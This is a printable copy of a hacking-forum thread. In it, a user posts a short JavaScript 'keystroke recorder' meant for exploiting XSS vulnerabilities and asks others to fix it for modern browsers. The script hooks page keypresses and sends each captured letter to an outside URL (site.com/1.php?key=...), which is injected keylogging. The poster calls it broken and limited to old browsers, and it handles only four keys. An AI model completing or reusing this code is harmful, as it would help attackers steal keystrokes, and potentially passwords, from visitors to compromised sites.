![]() |
|
Keystroke Recorder (Broken) - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Coding (https://sinister.ly/Forum-Coding--71) +--- Thread: Keystroke Recorder (Broken) (/Thread-Keystroke-Recorder-Broken) |
Keystroke Recorder (Broken) - hacxx - 08-25-2018 Hi, i took an example and tried to rewrite the code to make a keyword recorder for XSS vulns. The problem is that the code is to old and only works on Internet Explorer or old versions of Netscape. This was first developed long time ago and the code is open source, so, can anyone add a few lines to fix it as i can't improve any further. Code: <script>
var key = new Array();
key['a'] = "http://www.site.com/1.php?key=a";
key['b'] = "http://www.site.com/1.php?key=b";
key['c'] = "http://www.site.com/1.php?key=c";
key['d'] = "http://www.site.com/1.php?key=d";
function getKey(keyStroke) {
isNetscape=(document.layers);
eventChooser = (isNetscape) ? keyStroke.which : event.keyCode;
which = String.fromCharCode(eventChooser).toLowerCase();
for (var i in key) if (which == i) window.open(""+key[i]+"");
}
document.onkeypress = getKey;
</script>
<center>
<table border=0><tr><td>
<pre>
The following launcher keys are available:
Press the letter 'a' for: a
Press the letter 'b' for: b
Press the letter 'c' for: c
Press the letter 'd' for: d
</pre>
</td></tr></table>
</center> |